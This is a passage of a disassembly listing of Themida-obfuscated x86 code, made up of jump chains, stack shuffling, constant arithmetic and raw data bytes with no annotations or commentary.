		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548C3E:				; CODE XREF: Themida_:00552788j
		mov	[esp], ebp
		jmp	loc_54D002
; ---------------------------------------------------------------------------


loc_548C46:				; CODE XREF: Themida_:0055031Dj
		mov	eax, [esp]
		jmp	loc_54F0DD
; ---------------------------------------------------------------------------
		dw 0F180h
aYx		db ' (кYX',0
		dw 80C3h
		dd 0B60F3CEBh, 8734FFC0h, 0A9243481h, 0E962FA28h, 4983h
		dd 0E9FFEE80h, 31E8h, 815FFE01h, 6322E5EEh, 54685161h
		dd 0FF587978h, 0BAE92434h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548C8B:				; CODE XREF: Themida_:0054D646j
		push	17CFh
		jmp	loc_54FA08
; ---------------------------------------------------------------------------


loc_548C95:				; CODE XREF: Themida_:0054C916j
		add	ebp, 4
		push	edi
		jmp	loc_548E4D
; ---------------------------------------------------------------------------


loc_548CA1:				; CODE XREF: Themida_:0054C68Fj
		pop	edi
		pop	ebp
		sub	eax, ebx
		add	eax, 585B0D45h
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_54EEBA
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E280D9B2h, 0B05066D2h, 66C22854h, 5224048Bh, 0F168E289h
		dd 0E9000064h, 8052h
; ---------------------------------------------------------------------------


loc_548CE8:				; CODE XREF: Themida_:00546E8Fj
		pop	ebp
		add	eax, 99E2BE86h
		mov	ebx, eax
		jmp	loc_551C1E
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 13E90000h, 5FFFFFFBh, 4EE81h, 34330000h, 3A14E924h
		dd 88500000h, 58C788F0h, 8324148Bh, 0DFF604C4h,	9868E9h
		dd 2414F700h, 0C6814E5Eh, 7DF9664Ch, 815EF701h,	4EFh, 36FE6800h
		dd 3C890000h, 3063E924h, 0C1810000h, 89C329Dh, 735EE9h
		db 0
; ---------------------------------------------------------------------------


loc_548D4D:				; CODE XREF: Themida_:0055071Cj
		mov	[esp], ebp
		push	esi
		push	475962E3h
		pop	esi
		push	eax
		push	esi
		mov	esi, 0F3370EAh
		mov	eax, 27CBE106h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 8
		inc	eax
		neg	eax
		sub	eax, 0EB67AAEFh
		jmp	loc_54F394
; ---------------------------------------------------------------------------
		db 66h
		dd 66681205h, 6DE9D001h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548D87:				; CODE XREF: Themida_:0054669Cj
		mov	bl, 58h
		jmp	loc_5464F1
; ---------------------------------------------------------------------------
		dw 5859h
		dd 57240C8Bh, 0C8E9E789h, 5D00002Bh, 15AD189h, 240C8BCBh
		dd 2C53E9h, 0E9E6D000h,	0FFFFF358h
dword_548DB0	dd 61E868h, 24148900h, 0DEBD5550h, 0C1425534h, 0F58104EDh
					; DATA XREF: Themida_:0054627Co
		dd 1CAE3EC7h, 120AE9h, 4EC8100h, 0E9000000h, 47F7h
; ---------------------------------------------------------------------------


loc_548DD8:				; CODE XREF: Themida_:0054F052j
		mov	ebx, 1000h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_547458
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 248B2404h, 4296624h,	0F0E99C24h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548DFB:				; CODE XREF: Themida_:00546F63j
		pop	ebp
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54FD6B
; ---------------------------------------------------------------------------
		db 54h
		dd 4C2815Ah, 81000000h,	4C2h, 24148700h, 0CCE9595Ch
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E1F:				; CODE XREF: Themida_:00547799j
		xor	ecx, [esp]
		jmp	loc_5518C7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FB36832h, 0FAE90000h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E33:				; CODE XREF: Themida_:0054EA33j
		push	eax
		jmp	loc_54D639
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0F1h
		dd 57000088h, 5C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_548E45:				; CODE XREF: Themida_:0054B395j
		xor	edx, [esp]
		jmp	loc_5527CF
; ---------------------------------------------------------------------------


loc_548E4D:				; CODE XREF: Themida_:00548C9Cj
		mov	edi, 4F7A7FBDh
		jmp	loc_54B125
; ---------------------------------------------------------------------------
		db 30h
		dd 5053240Ch, 0E951CC88h, 85EFh
; ---------------------------------------------------------------------------


loc_548E64:				; CODE XREF: Themida_:00550173j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 4B8h, 8BC38100h, 552C9B6Bh, 230FE9h, 5AD58900h
		dd 5D1C6F09h, 0FFD656E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548E95:				; CODE XREF: Themida_:00551703j
		mov	[esp], edi
		mov	edi, 200000h
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_54DB09
; ---------------------------------------------------------------------------


loc_548EB1:				; CODE XREF: Themida_:00547C08j
		xor	ecx, eax
		jmp	loc_54C416
; ---------------------------------------------------------------------------
		dd 0F231622Dh, 5F0014Eh, 4EF23162h, 79872D5Eh, 0D8016AF3h
		dd 0FFE8FBE9h, 0BAB951FFh, 0C114A413h, 0E98106E1h, 3D2A60E2h
		dd 3153C181h, 0F1816CA5h, 4356D9CBh, 5E59CF01h,	5A43E9h
		dd 24048300h, 98E95F04h, 81000069h, 4C7h, 243C8700h, 2A38E9h
		dd 240C8B00h, 1D2CE952h, 5D660000h, 24048F66h, 87665566h
		dd 0F766243Ch, 3C8766D7h, 0E95D6624h, 0FFFFD6B3h
dword_548F30	dd 24248B66h, 0FFD5B2E9h, 0E78957FFh, 7EBDE9h, 11E95900h
					; DATA XREF: Themida_:00546280o
		dd 8100006Bh, 4C3h, 0E6895600h,	0FFEC85E9h, 24348BFFh
		dd 13A1E9h, 24048B00h, 4C481h, 0EE810000h, 42710A50h, 0FFC68346h
		dd 2A45E9h
		db 0
; ---------------------------------------------------------------------------


loc_548F75:				; CODE XREF: Themida_:0054DCCCj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55211F
; ---------------------------------------------------------------------------
		dw 5866h
		dd 88CC8850h, 2DE958E2h, 1FFFFE9h, 8385E9F0h
		db 2 dup(0)
word_548F92	dw 8B66h		; DATA XREF: Themida_:00546434o
		dd 2FE9240Ch
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548F9B:				; CODE XREF: Themida_:00549343j
		neg	ecx
		dec	ecx
		sub	ecx, 0E0F190D3h
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, ebx
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		mov	edi, 59896181h
		xor	edi, esi
		pop	esi
		add	edi, 3197481Fh
		xor	edx, edi
		pop	edi
		jmp	loc_546B7D
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 0F66F9F6h, 86E9CCB6h, 0BB000055h,	2Ch, 7DEFC381h
		dd 0FB016A97h, 4290BE56h, 0F7563365h, 8AE92414h, 0E900005Dh
		dd 0FFFFD4EFh
dword_548FFC	dd 24048150h, 4F767199h, 8124048Bh, 4C4h, 65B95100h, 87508700h
					; DATA XREF: Themida_:0054641Co
		dd 87D5F7E9h, 19C181E9h, 8351D927h, 0C18101C1h,	4E244AE5h
		dd 435A3A2Dh, 52C8292Dh, 435A3ABAh, 312E2D2Dh, 0D0016558h
		dd 7D81E9h
		db 0
; ---------------------------------------------------------------------------


loc_549041:				; CODE XREF: Themida_:0054F8FEj
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_54DE8B
; ---------------------------------------------------------------------------
		dw 2166h
		dd 0E99C2404h, 0FFFFD47Fh, 4EC81h, 0ECE90000h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549077:				; CODE XREF: Themida_:0054688Cj
		push	ebp
		mov	ebp, 5FE667FAh
		jmp	loc_54BD09
; ---------------------------------------------------------------------------


loc_549082:				; CODE XREF: Themida_:00551506j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54CABE
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 0F7814706h, 436AF894h, 5087C381h, 0FB29191Ah, 5087EB81h
		dd 815F191Ah, 99181AEBh, 0ABE95F55h, 87000020h,	685C241Ch
		dd 121Fh, 0E9241C89h, 86B3h
; ---------------------------------------------------------------------------


loc_5490C8:				; CODE XREF: Themida_:00550424j
		push	edx
		push	79B830E9h
		pop	edx
		jmp	loc_548C28
; ---------------------------------------------------------------------------
		dd 0BB668h, 242C8900h, 904307BDh, 3E5C12Fh, 0F554ED81h
		dd 0E80110DFh, 0B60F665Dh, 0F686600h, 489666Bh,	0D3EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5490FE:				; CODE XREF: Themida_:00546CE1j
		pop	esp
		jmp	loc_550421
; ---------------------------------------------------------------------------
		dd 8904EC83h, 50E9242Ch
		db 5Eh,	2 dup(0)
byte_54910F	db 0FFh			; DATA XREF: Themida_:00546358o
		dd 0F0E92434h, 57FFFFF0h, 0C7815F54h, 4, 7465E9h, 4E0C100h
		dd 226F6005h, 0D95BE976h, 0E888FFFFh, 66C63059h, 0B4505158h
		dd 57EEE917h, 0EA310000h, 8BD6015Dh, 0C4832414h, 4EC8304h
		dd 0B8240489h, 3D136770h, 0DF72D705h, 1E88330h,	865EBF57h
		dd 0F8316653h, 0D8B9E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54916E:				; CODE XREF: Themida_:0054B681j
		sub	eax, 187FFFF8h
		mov	ebp, eax
		pop	eax
		jmp	loc_546ECC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 545E6F96h, 158C701h,	96EF81EFh, 55545E6Fh, 30186856h
		dd 815E431Eh, 777C24EEh, 9FC68179h, 81600651h, 5979B5C6h
		dd 5EF58938h, 5D5DEF29h, 3302EF83h, 3C31243Ch, 243C3324h
		dd 0FFF9B0E9h, 243C87FFh, 0FF24248Bh, 34FF2434h, 2434FF24h
		dd 4C48358h, 53E08950h,	4BBh, 322DE900h, 48F0000h, 94E95C24h
		dd 900005Dh, 641CE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5491EE:				; CODE XREF: Themida_:0054C420j
		mov	esi, 6AD950D0h
		sub	esi, 75170F3Bh
		xor	esi, 5D640597h
		push	esi
		jmp	loc_54709C
; ---------------------------------------------------------------------------
		db 0FFh, 0Ch, 24h
		dd 0D2DDE99Ch, 48FFFFFh, 89525C24h, 4C281E2h, 68000000h
		dd 1B79h, 51243489h, 0FFF46CE9h, 0BFC181FFh, 3172FE44h
		dd 31CF31F9h, 87D7F7F9h, 0BE981F9h, 13E1A68h, 0C38359CBh
		dd 241C8704h, 44F7E9h, 24048F00h, 0FFFCA0E9h
		db 0FFh
byte_549255	db 66h,	8Fh, 2		; DATA XREF: Themida_:005463A0o
		dd 0FFD28EE9h, 4C683FFh, 0E9243487h, 5AFFh, 35AEEA81h
		dd 0CA81CE38h, 4FEF5495h, 0D631F231h, 0D6F7F231h, 0AEE9F287h
		dd 81FFFFE6h, 4C4h, 0DBCD8000h,	16A0E9h, 24148900h, 3185DF68h
		dd 6F42E93Eh, 68660000h, 89662DC9h, 72E92414h, 1FFFFD8h
		dd 8478E9D9h, 4BA0000h,	1000000h, 24148BD6h, 0E904C483h
		dd 78DDh, 0ECC0EC86h, 8E2EE906h, 0C3800000h, 26C3806Ch
		dd 0E903C380h, 3740h, 4C281h, 0BB530000h, 1D0601F5h, 834BDBF7h
		dd 0DBF701C3h, 6408E381h, 0C38169D5h, 0F6FC0004h, 1C8BDA01h
		dd 4C48124h, 33000000h,	14312414h, 24143324h, 8324248Bh
		dd 34FF04C4h, 240C8B24h, 0C5E95455h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549323:				; CODE XREF: Themida_:005510BEj
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 5BFF5BF2h
		xor	ebx, 6A9374B9h
		push	ecx
		mov	ecx, 0BA7323Dh
		inc	ecx
		shr	ecx, 8
		inc	ecx
		jmp	loc_548F9B
; ---------------------------------------------------------------------------
		dd 4BFh, 247C0100h, 0E95E5F04h,	2431h
; ---------------------------------------------------------------------------


loc_549358:				; CODE XREF: Themida_:00547453j
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		pop	ebp
		sub	edx, 51726D5Dh
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54BDE3
; ---------------------------------------------------------------------------
		db 31h
		dd 0B7E92404h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54937B:				; CODE XREF: Themida_:00546EDFj
		push	ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4


loc_549391:				; CODE XREF: Themida_:loc_550A5Aj
		push	2C94h
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2F5E32CDh
		sub	eax, 0FAF492Ch
		not	eax
		jmp	loc_54A951
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0AFh
		dd 582434FFh, 0F04C483h, 48DC0B6h, 1F2D6887h, 4890000h
		dd 0D121E924h, 4B9FFFFh, 1000000h, 0C78159CFh, 4, 0DBD3E957h
		dd 0E952FFFFh, 4597h, 4C181h, 0C1810000h, 4, 0FFE4CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5493F5:				; CODE XREF: Themida_:0054B2C9j
		add	esp, 4
		add	esp, 4
		jmp	loc_54C35C
; ---------------------------------------------------------------------------
		dw 0D8BFh
		dd 8173F432h, 0E43DE1E7h, 0B5E7816Fh, 8144E24Ah, 0EF4769F7h
		dd 0E5EF811Eh, 15E0F47h, 2C335FFDh, 186FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54942E:				; CODE XREF: Themida_:0054EA4Dj
		sub	esi, 0A71CD2F6h
		mov	ecx, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_54B705
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 88526600h, 88DD88EAh, 148B66D3h, 2C48324h, 8852D5F6h
		dd 50DD88EEh, 6833E9h, 0E9D6F700h, 0FFFFF281h, 0E930FF5Fh
		dd 0FFFFD05Bh, 1DE9E9F6h, 33FFFFF1h, 34312434h,	24343324h
		dd 5024248Bh, 405E089h,	2D000000h, 4, 2474FF50h, 48F5804h
		dd 1FE95C24h, 8700001Ah, 0E9D5F7E9h, 0FFFFDF2Fh
; ---------------------------------------------------------------------------


loc_5494C8:				; CODE XREF: Themida_:0054AE24j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_5517A5
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0B60FC330h, 8734FFC0h, 0FFD002E9h,	3CD366FFh
		dd 0F8E99C24h, 81FFFFCFh, 4C4h,	2BA5200h, 1000000h, 0FF575AD7h
		dd 5F042474h, 8B24048Fh, 8B662424h, 0EC832404h,	32BCE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54951A:				; CODE XREF: Themida_:005469D8j
		pop	ebp
		push	ebx
		mov	ebx, 45E55050h
		and	edx, ebx
		pop	ebx
		shr	edx, 7
		xor	edx, 942A4h
		jmp	loc_5484BA
; ---------------------------------------------------------------------------


loc_549532:				; CODE XREF: Themida_:00550134j
		push	363D4CFFh
		pop	edx
		add	ecx, edx
		pop	edx
		push	esi
		mov	esi, 25947A6Ah
		shr	esi, 6
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10F73E9Eh
		add	edi, 46A65F09h
		neg	edi
		not	edi
		push	ebp
		mov	ebp, 0E4D87F7Eh
		sub	edi, ebp
		pop	ebp
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	esi, 558C1EA4h
		and	esi, 466954C3h
		add	esi, 1
		sub	esp, 4
		jmp	loc_54DD7F
; ---------------------------------------------------------------------------
dword_549588	dd 0E92434FFh, 0D5Ah, 815AD509h, 0DFD3F3C5h, 0E9EA89ECh
					; DATA XREF: Themida_:00546360o
		dd 3ADh, 0E9240C31h, 4CC9h, 94E9C588h, 89FFFFE5h, 84E9240Ch
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5495B7:				; CODE XREF: Themida_:0055086Cj
		push	esi
		push	ebp
		mov	ebp, 6C011808h
		add	ebp, 52DF4051h
		jmp	loc_54AEA5
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 78h
		dd 83FFFFD3h, 0C9FE04C4h, 21E9h
		db 0
; ---------------------------------------------------------------------------


loc_5495D9:				; CODE XREF: Themida_:0054CCD5j
		add	eax, edx
		jmp	loc_547711
; ---------------------------------------------------------------------------


loc_5495E0:				; CODE XREF: Themida_:0054D673j
		mov	edx, ebx
		pop	ebx
		sub	edx, 6E28637Bh
		push	esi
		jmp	loc_54D9D6
; ---------------------------------------------------------------------------


loc_5495EF:				; CODE XREF: Themida_:0054FE95j
		sub	ebp, 4
		jmp	loc_546FE9
; ---------------------------------------------------------------------------
		dw 0BC68h
		dd 89000025h, 14F6240Ch, 2C1E924h, 0C7040000h, 5A2434FFh
		dd 4C481h, 0E9500000h, 0FFFFE209h, 4E07E6C1h, 5510E9h
		db 0
; ---------------------------------------------------------------------------


loc_549625:				; CODE XREF: Themida_:00547B15j
		pop	esi
		sub	esp, 4
		jmp	loc_54778E
; ---------------------------------------------------------------------------
		dw 0B8E9h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549633:				; CODE XREF: Themida_:0055040Ej
		push	ecx
		jmp	loc_547B66
; ---------------------------------------------------------------------------
		db 68h,	0D5h, 12h
		dd 148B7252h, 0E2895224h, 36B0E9h, 0C6815A00h, 2FC51818h
		dd 0BD55EED1h, 81C474Dh, 815DEE01h, 5FECEDC6h, 5EF101B2h
		dd 0E9240C33h, 11BFh
; ---------------------------------------------------------------------------


loc_54966C:				; CODE XREF: Themida_:0055118Aj
		pop	edi
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 26537D73h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54A627
; ---------------------------------------------------------------------------


loc_54968B:				; CODE XREF: Themida_:0054DD3Fj
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_54A7CD
; ---------------------------------------------------------------------------
		dd 0C0CDC680h, 516602EEh, 0FBB45053h, 5AB75366h, 0AAE9FC28h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5496B3:				; CODE XREF: Themida_:0054A943j
		push	ebp
		push	26B802EFh
		jmp	loc_54CB67
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 49C30E80h, 9DE9DDF7h, 81000091h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 74FF243Ch, 0A5E90424h, 8700002Ah,	0FF5C2434h
		dd 34FF2434h, 0E9505824h, 6465h, 158C289h, 0D67CE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549702:				; CODE XREF: Themida_:0054A988j
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 505620Fh
		sub	ebx, 505620Bh
		add	eax, ebx
		jmp	loc_54B089
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 68515Eh, 8B000000h, 0C483240Ch, 0E9D90104h, 18CCh, 0E9240C87h
		dd 0E26h, 89243C89h, 462068E7h,	0C890000h, 4B924h, 0CF010000h
		dd 0E9240C8Bh, 2A90h, 7CE95854h, 8100003Eh, 4C6h, 4EE8300h
		dd 5C243487h, 89243C89h, 4BE56E7h, 1000000h, 0BA525EF7h
		dd 4, 875AD701h, 0E95C243Ch, 0FFFFF94Ch
dword_549788	dd 240C8B66h, 815D5455h, 4C5h, 427BE900h, 4CE90000h, 5FFFFCDh
					; DATA XREF: Themida_:00546414o
		dd 2, 0FFECF6E9h, 242C89FFh, 3FCBDh, 5DEF0100h,	0FFC0B60Fh
		dd 0EC818734h, 4, 0E9242C89h, 41DDh, 0FBFCE951h, 335FFFFh
		dd 89385ADCh, 0EB2958C5h, 0E869E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5497DE:				; CODE XREF: Themida_:0054A3F5j
		sub	esp, 4
		mov	[esp], ebx
		pop	esi
		push	ecx
		mov	ecx, esi
		push	ecx
		jmp	loc_54D2D1
; ---------------------------------------------------------------------------
aRhm4		db 'Rh╛4',0
		dw 8900h
		dd 69E9241Ch
		db 87h,	2 dup(0)
byte_5497FF	db 66h			; DATA XREF: Themida_:00546310o
		dd 8324048Bh, 76E904ECh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54980B:				; CODE XREF: Themida_:00550C30j
		or	ecx, 5EE13D37h
		xor	ecx, 0FC56F91Dh
		push	edx
		jmp	loc_5480FF
; ---------------------------------------------------------------------------
aL4Srd		db '^▀4$ИЮ└',0
		align 2
		dw 0EC83h
		dd 24048904h, 2434FF54h, 0C0E95058h, 6600003Dh,	0EF885350h
		dd 1C8BF888h, 32E5E924h, 0CA290000h, 0FEBA5259h, 0F7134A2Bh
		dd 0FFEA81DAh, 42FFFFFFh, 7D72CA81h, 1BE96246h,	81000053h
		dd 0BE699AC1h, 59CD010Eh, 4A9DE9h, 5BDF2900h, 7CE9FE89h
		db 3Ch,	2 dup(0)
byte_54987B	db 66h			; DATA XREF: Themida_:00546290o
		dd 5324048Bh, 7C2CE9h, 0E9E68900h, 60ABh, 58C3885Ah, 0E91A8859h
		dd 3888h, 6460E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54989E:				; CODE XREF: Themida_:00546691j
		sub	al, 90h
		xor	al, 0D0h
		sub	al, 51h
		mov	bh, al
		jmp	loc_54ED25
; ---------------------------------------------------------------------------


loc_5498AB:				; CODE XREF: Themida_:0054D466j
		xor	edx, [esp]
		jmp	loc_550A92
; ---------------------------------------------------------------------------
		db 89h
		dd 8FBA2414h, 816A054Ah, 0D13846CAh, 11EC682Ah,	51E90000h
		dd 59000071h, 94B68h, 0ED9BE900h, 405FFFFh, 87000000h
		dd 815C2404h, 0C17C71EAh, 0EF57E968h
		db 2 dup(0FFh)
word_5498EA	dw 2DADh		; DATA XREF: Themida_:00546498o
		dd 73FE7D74h, 601EE9h, 0DDE95E00h, 8300008Dh, 3C8702C7h
		dd 8349E924h, 0F660000h, 6866C8B6h, 89663937h, 0D8E9240Ch
		dd 0BFFFFFE3h, 51546240h, 546242B9h, 5FF92951h,	3359CF01h
		dd 3C31243Ch, 243C3324h, 8BA7E9h, 81EA0100h, 5E2ED1C2h
		dd 6204E96Ah
		db 2 dup(0)
word_549942	dw 0BA52h		; DATA XREF: Themida_:005463D8o
		dd 3Ch,	0FFE3DAE9h, 242C8BFFh, 4C481h, 0FA010000h, 81243C8Bh
		dd 4C4h, 8BD00100h, 0C4832414h,	81565104h, 4ECh, 243C8900h
		dd 2730A0BFh, 81DFF75Fh, 513AAEF7h, 3A4E6857h, 1C890000h
		dd 4DE2BB24h, 0F38156E6h, 0ECC2A2FBh, 0FFFED8E9h, 2C483FFh
		dd 4EC81h, 34E90000h, 31FFFFD2h, 0EA815DEAh, 42561B11h
		dd 1225BB53h, 0DA3158B4h, 1AF2815Bh, 29695750h,	3C875AD7h
		dd 79DAE924h
		db 2 dup(0)
word_5499CA	dw 77FFh		; DATA XREF: Themida_:0054631Co
		dd 59669D1Ch, 9C2414D3h, 0FFCB12E9h, 20CF80FFh,	28C9E9h
		dd 0E2B45000h, 0FFD10AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5499E9:				; CODE XREF: Themida_:0054F8BEj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 69494662h
		dec	eax
		shr	eax, 1
		jmp	loc_54787E
; ---------------------------------------------------------------------------


loc_5499FE:				; CODE XREF: Themida_:00551C32j
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_551AA7
; ---------------------------------------------------------------------------


loc_549A16:				; CODE XREF: Themida_:0054F95Fj
		not	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		pop	ebp
		push	esi
		push	ebp
		pop	esi
		jmp	loc_54EBA8
; ---------------------------------------------------------------------------


loc_549A26:				; CODE XREF: Themida_:0054D96Dj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	ebp, 8
		jmp	loc_54B99C
; ---------------------------------------------------------------------------
aBIVbLSte	db '│бi',0Dh,9,'v│Й|L-ыИБE',0
		db 0
; ---------------------------------------------------------------------------


loc_549A5B:				; CODE XREF: Themida_:005483C1j
		xchg	ebp, ebx
		add	ebp, 1
		xor	ebx, ebp
		xor	ebp, ebx
		xor	ebx, ebp
		push	2CABh
		mov	[esp], edi
		push	ebx
		mov	ebx, 0C6F1E53Bh
		mov	edi, ebx
		pop	ebx
		xor	ebx, edi
		pop	edi
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		push	13D7h
		mov	[esp], edx
		push	edi
		jmp	loc_54D3B3
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 1Ch
		dd 8160AF71h, 0BD56DEC3h, 81F32920h, 0BD56DEEBh, 24348B20h
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFF92Ch
dword_549AB8	dd 592434FFh, 4EC81h, 1C890000h, 4EC8124h, 89000000h, 4812424h
					; DATA XREF: Themida_:005462C4o
		dd 424h, 0C3815B00h, 4,	4944BE56h, 68767Eh, 29000000h
		dd 348B2434h, 4C48324h,	290AE9h, 0C5815B00h, 6AE62A61h
		dd 622BBB53h, 0DD014E18h, 4171E95Bh, 4890000h, 242C8124h
		dd 64D27E9Ch, 5A2434FFh, 5604C483h, 3F28A4BEh, 0A0E6814Eh
		dd 0C101903Eh, 814603EEh, 0B7774EF6h, 5E7E92Ch,	50470000h
		dd 0ABE95255h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549B3F:				; CODE XREF: Themida_:00547A45j
		add	esp, [edx+38h]
		push	1052h
		jmp	loc_547FA2
; ---------------------------------------------------------------------------
dword_549B4C	dd 24048B66h, 79536857h, 0E9540000h, 5293h, 8B24048Fh
					; DATA XREF: Themida_:005463DCo
		dd 0F662424h, 9C2404ABh, 0FFC97EE9h, 0C7815CFFh, 60C25746h
		dd 54E9EF29h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549B7B:				; CODE XREF: Themida_:005511DBj
		add	ebp, edi
		add	ebp, 3AED3254h
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 12A237CEh
		shl	ebx, 1
		shl	ebx, 5
		push	eax
		mov	eax, 75742D5Eh
		and	ebx, eax
		jmp	loc_54BEC7
; ---------------------------------------------------------------------------
		db 0BDh
		dd 60B67E10h, 0F5E9EE09h, 89000026h, 24BD242Ch,	0E9000000h
		dd 0FFFFCB47h
; ---------------------------------------------------------------------------


loc_549BBC:				; CODE XREF: Themida_:00550EB4j
		add	ebx, eax
		pop	eax
		sub	ebx, ebp
		sub	ebx, 297E0BF9h
		pop	ebp
		jmp	loc_550C25
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E902EC83h, 4888h
; ---------------------------------------------------------------------------


loc_549BD8:				; CODE XREF: Themida_:00550F31j
		add	eax, 4
		add	eax, 4
		jmp	loc_54B7B8
; ---------------------------------------------------------------------------


loc_549BE5:				; CODE XREF: Themida_:00547A2Aj
		pop	eax
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_54E5B7
; ---------------------------------------------------------------------------
		dd 6E032FBEh, 0E21FE910h, 6BBFFFFFh, 0E942DF17h, 2D31h
; ---------------------------------------------------------------------------


loc_549C08:				; CODE XREF: Themida_:0054ABF8j
		sub	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_54C1CA
; ---------------------------------------------------------------------------


loc_549C1A:				; CODE XREF: Themida_:00550FB1j
		pop	esi
		jmp	loc_54DFC2
; ---------------------------------------------------------------------------


loc_549C20:				; CODE XREF: Themida_:0054FA0Bj
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54A021
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 4C681h, 0EC680000h, 89000054h, 6853243Ch
